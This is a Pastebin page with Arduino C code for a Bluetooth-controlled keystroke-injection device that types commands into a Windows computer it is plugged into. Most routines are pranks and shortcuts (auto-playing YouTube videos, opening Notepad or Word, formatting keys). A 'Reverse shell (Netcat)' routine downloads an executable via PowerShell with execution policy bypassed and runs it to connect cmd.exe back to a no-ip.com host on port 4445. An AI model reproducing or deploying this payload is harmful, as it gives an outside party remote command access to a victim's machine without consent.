Advertisement
michalmonday

Rubber Bluandroino

Dec 3rd, 2016
200
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 7.82 KB | None | 0 0
  1. #include <SoftwareSerial.h>
  2. #include "Keyboard.h"
  3. #include "Mouse.h"
  4.  
  5. //https://www.arduino.cc/en/Reference/KeyboardModifiers
  6.  
  7. SoftwareSerial BTSerial(8, 9); // RX | TX
  8. int maxLength = 200;
  9. char inSerial[200];
  10. char mouse_start[10];
  11. char mouse_end[10];
  12.  
  13. void typeKey(int key)
  14. {
  15.   Keyboard.press(key);
  16.   delay(50);
  17.   Keyboard.release(key);
  18. }
  19.  
  20. void openRun()
  21. {
  22.   Keyboard.press(KEY_LEFT_GUI);
  23.   delay(10);
  24.   Keyboard.press('r');
  25.   delay(50);
  26.   Keyboard.releaseAll();
  27.   delay(100);
  28. }
  29.  
  30. void openCmd()
  31. {
  32.   openRun();  
  33.   Keyboard.print("cmd");
  34.   typeKey(KEY_RETURN);
  35. }
  36.  
  37. void EnterCommand(char text[])
  38. {
  39.   Keyboard.print(text);
  40.   delay(10);
  41.   typeKey(KEY_RETURN);  
  42. }
  43.  
  44. void SmoothMouseMove(int x, int y)
  45. {
  46.   if(x>y)
  47.   {
  48.     for(int i=x; i>0 ;i--)
  49.     {
  50.       int y_bool = 1;
  51.       if(y-1 > i)
  52.       {
  53.         y_bool = 0;
  54.       }
  55.       Mouse.move(1,y_bool,0);
  56.     }
  57.   }
  58.  
  59. }
  60.  
  61. void Check_Protocol(char inStr[]){  
  62.   int i=0;
  63.   int m=0;
  64.  
  65.   if(!strcmp(inStr,"Cmd prompt"))
  66.   {
  67.     openCmd();
  68.   }
  69.  
  70.   if(!strcmp(inStr,"Youtube_hacking"))
  71.   {    
  72.     openRun();
  73.     Keyboard.print("www.youtube.com/embed/VPmldO4BlSA?rel=0&autoplay=1"); //hacking VPmldO4BlSA //trololo 2Z4m4lnjxkY  
  74.     typeKey(KEY_RETURN);  
  75.     delay(3000);
  76.     typeKey(KEY_F11);
  77.   }
  78.  
  79.   if(!strcmp(inStr,"Youtube_crispy_pops"))
  80.   {    
  81.     openRun();
  82.     Keyboard.print("www.youtube.com/embed/_7sjaTI-RDU?rel=0&autoplay=1"); //trololo  
  83.     typeKey(KEY_RETURN);  
  84.     delay(3000);
  85.     typeKey(KEY_F11);
  86.   }
  87.  
  88.   if(!strcmp(inStr,"Youtube_trololo"))
  89.   {    
  90.     openRun();
  91.     Keyboard.print("www.youtube.com/embed/2Z4m4lnjxkY?rel=0&autoplay=1"); //trololo 2Z4m4lnjxkY  
  92.     typeKey(KEY_RETURN);  
  93.     delay(3000);
  94.     typeKey(KEY_F11);
  95.   }
  96.  
  97.   if(!strcmp(inStr,"Win+R (run)"))
  98.   {    
  99.     openRun();
  100.   }
  101.  
  102.   if(!strcmp(inStr,"Notepad"))
  103.   {    
  104.     openRun();
  105.     Keyboard.print("notepad");
  106.     delay(100);
  107.     typeKey(KEY_RETURN);
  108.   }
  109.  
  110.   if(!strcmp(inStr,"Enter"))
  111.   {    
  112.     typeKey(KEY_RETURN);
  113.   }
  114.  
  115.   if(!strcmp(inStr,"Alt+F4"))
  116.   {    
  117.     Keyboard.press(KEY_LEFT_ALT);
  118.     delay(10);
  119.     Keyboard.press(KEY_F4);
  120.     delay(50);
  121.     Keyboard.releaseAll();
  122.   }
  123.  
  124.   if(!strcmp(inStr,"Word"))
  125.   {    
  126.     openRun();
  127.     EnterCommand("winword");
  128.   }
  129.  
  130.   if(!strcmp(inStr,"Increase font size"))
  131.   {    
  132.     Keyboard.press(KEY_LEFT_CTRL);
  133.     delay(10);
  134.     Keyboard.press(KEY_LEFT_SHIFT);
  135.     delay(10);
  136.     Keyboard.press('>');
  137.     delay(50);
  138.     Keyboard.releaseAll();  
  139.   }
  140.  
  141.   if(!strcmp(inStr,"Decrease font size"))
  142.   {    
  143.     Keyboard.press(KEY_LEFT_CTRL);
  144.     delay(10);
  145.     Keyboard.press(KEY_LEFT_SHIFT);
  146.     delay(10);
  147.     Keyboard.press('<');
  148.     delay(50);
  149.     Keyboard.releaseAll();  
  150.   }
  151.  
  152.   if(!strcmp(inStr,"Select all"))
  153.   {    
  154.     Keyboard.press(KEY_LEFT_CTRL);
  155.     delay(10);
  156.     Keyboard.press('a');
  157.     delay(50);
  158.     Keyboard.releaseAll();  
  159.   }
  160.  
  161.   if(!strcmp(inStr,"Bold"))
  162.   {    
  163.     Keyboard.press(KEY_LEFT_CTRL);
  164.     delay(10);
  165.     Keyboard.press('b');
  166.     delay(50);
  167.     Keyboard.releaseAll();  
  168.   }
  169.  
  170.   if(!strcmp(inStr,"Underline"))
  171.   {    
  172.     Keyboard.press(KEY_LEFT_CTRL);
  173.     delay(10);
  174.     Keyboard.press('u');
  175.     delay(50);
  176.     Keyboard.releaseAll();  
  177.   }
  178.  
  179.   if(!strcmp(inStr,"click"))
  180.   {    
  181.     Mouse.click();
  182.   }
  183.  
  184.   if(!strcmp(inStr,"Reverse shell (Netcat)"))
  185.   {  
  186.     openCmd();
  187.     EnterCommand("echo off");
  188.     EnterCommand("cd / & mkdir win & cd win & echo (wget 'https://1fichier.com/?4kgg18s34q' -OutFile a.exe) > b.PS1 & powershell -ExecutionPolicy ByPass -File b.ps1");
  189.     delay(3000);
  190.     EnterCommand("START /MIN a.exe gibedata.no-ip.com 4445 -e cmd.exe -d & exit");
  191.   }
  192.  
  193.  
  194.   //if(!strcmp(inStr,"doubleclick"))
  195.   //{    
  196.   //  Mouse.click();
  197.   //  delay(100);
  198.   //  Mouse.click();
  199.   //}
  200.  
  201.   if(StrContains(inSerial ,"mouse:") && StrContains(inSerial ,",end"))
  202.   {
  203.     long x=0;
  204.     int y=0;
  205.     x = atol(&inStr[10]);
  206.     y = atol(&inStr[12]);
  207.    
  208.    //mouse:L,U,3,1,end
  209.     if(inStr[6] == 76)//L
  210.     {
  211.       x = x * -1;
  212.     }
  213.     if(inStr[8] == 68)//D
  214.     {
  215.       y = y * -1;
  216.     }
  217.  
  218.    
  219.        
  220.     Mouse.move(x*5, y*5, 0);
  221.     //SmoothMouseMove(x*5, y*5);
  222.   }
  223.  
  224.   if(StrContains(inSerial ,"DirectTextInstruction:"))
  225.   {
  226.     char directText[200];
  227.     for(int i=0;i<strlen(inSerial);i++)
  228.     {
  229.       directText[i] = inSerial[i+22];
  230.     }
  231.  
  232.     Keyboard.print(directText);
  233.   }
  234.        
  235.    
  236.     for(m=0;m<195;m++)
  237.     {
  238.       inStr[m]=0;
  239.     }
  240.     i=0;
  241.  
  242. }
  243.  
  244. bool StrContains(char *str, char *sfind)
  245. {
  246.     char found = 0;
  247.     char index = 0;
  248.     char len;
  249.  
  250.     len = strlen(str);
  251.    
  252.     if (strlen(sfind) > len) {
  253.         return false;
  254.     }
  255.     while (index < len) {
  256.         if (str[index] == sfind[found]) {
  257.             found++;
  258.             if (strlen(sfind) == found) {
  259.                 return true;
  260.             }
  261.         }
  262.         else {
  263.             found = 0;
  264.         }
  265.         index++;
  266.     }
  267.  
  268.     return false;
  269. }
  270.  
  271. bool StrStartsWith(char* str, char* desiredStart)
  272. {
  273.   if(strlen(desiredStart)>strlen(str))
  274.   {
  275.     return false;
  276.   }
  277.  
  278.   char matching = 0;
  279.   for(int i=0; i < strlen(desiredStart); i++)  
  280.     if(str[i] == desiredStart[i])    
  281.       matching++;
  282.      
  283.   if(matching == strlen(desiredStart))  
  284.     return true;
  285.  
  286.   return false;
  287. }
  288.  
  289. bool StrEndsWith(char* str, char* desiredEnd)
  290. {
  291.   if(strlen(desiredEnd)>strlen(str))
  292.   {
  293.     return false;
  294.   }
  295.   char matching = 0;
  296.   char desiredEndLen = strlen(desiredEnd);
  297.   char baseStrLen = strlen(str);
  298.   for(int i=0;i<strlen(desiredEnd);i++)
  299.     if(str[baseStrLen - desiredEndLen + i] == desiredEnd[i])
  300.       matching++;
  301.  
  302.   if(matching == desiredEndLen)  
  303.     return true;
  304.  
  305.   return false;
  306. }
  307.  
  308. void setup()
  309. {
  310.   //Serial.begin(9600);
  311.  // Serial.println("Enter AT commands:");
  312.   BTSerial.begin(38400);  // HC-05 default speed in AT command more
  313.   Keyboard.begin();
  314.   Mouse.begin();
  315.  
  316.   Serial.begin(9600);
  317.  
  318.   strcpy(mouse_start, "mouse:");
  319.   strcpy(mouse_end, ",end");
  320. }
  321.  
  322. char matches=0;
  323.  
  324. void loop()
  325. {
  326.   // Keep reading from HC-05 and send to Arduino Serial Monitor    
  327.   int i=0;
  328.   int m=0;
  329.   delay(100);  
  330.   if (BTSerial.available() > 0)
  331.   {            
  332.     while (BTSerial.available() > 0 && i < maxLength)
  333.     {
  334.       inSerial[i]=BTSerial.read();
  335.       i++;    
  336.  
  337.       if(strlen(inSerial) == 17)
  338.         if(StrStartsWith(inSerial ,"mouse:") && StrEndsWith(inSerial ,",end"))//mouse:L,U,3,1,end      
  339.           break;
  340.  
  341.       /*
  342.       if(strlen(inSerial) > 34)
  343.       {
  344.         if (StrContains(inSerial, "mouse:") && StrContains(inSerial, ",end"))
  345.         {      
  346.           //format the string here so it's still usable despite of being something like: ,U,3,4,endmouse:R,U,3,4,endmmouse:R
  347.          // char start[6];
  348.           Serial.write("Original line:");
  349.           Serial.write(inSerial);
  350.           Serial.write("\n");
  351.           matches = 0;
  352.           for(int k=0;k<strlen(inSerial);k++)
  353.           {            
  354.             if(inSerial[k] == mouse_start[matches])
  355.             {
  356.               matches++;
  357.             }
  358.             else
  359.             {
  360.               matches = 0;
  361.             }
  362.                            
  363.             if(matches == strlen(mouse_start))
  364.             {        
  365.               for(int j=k-5;j<(200-k-6);j++)
  366.               {
  367.                 inSerial[j-k+5] = inSerial[j];
  368.               }
  369.               i = k+1;
  370.               //BTSerial.flush();
  371.               break;
  372.             }
  373.           }                          
  374.           break;
  375.         }
  376.       }
  377.       */
  378.        
  379.     }
  380.     inSerial[i]='\0';
  381.     Serial.write(inSerial);
  382.     Serial.write("\n");
  383.     Check_Protocol(inSerial);
  384.   }
  385.  
  386.  
  387.   // Keep reading from Arduino Serial Monitor and send to HC-05
  388.   //if (Serial.available())
  389.   //  BTSerial.write(Serial.read());
  390. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement